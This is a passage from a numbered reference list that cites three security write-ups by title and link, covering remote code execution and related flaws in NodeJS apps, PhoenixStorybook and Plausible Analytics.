   1190 - [9] [blog.shoebpatel.com - The Secret Parameter LFR And Potential RCE In NodeJS Apps](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps)
   1191 - [10] [PhoenixStorybook advisory - unauthenticated RCE via HEEx template injection (CVE-2026-8467)](https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-55hg-8qxv-qj4p)
   1192 - [11] [WhoAreMe - Plausible Analytics: Pre-Auth RCE, Cross-Tenant IDORs, and SSRF-to-RCE](https://whoareme.com/blog/plausible-analytics-multiple-criticals)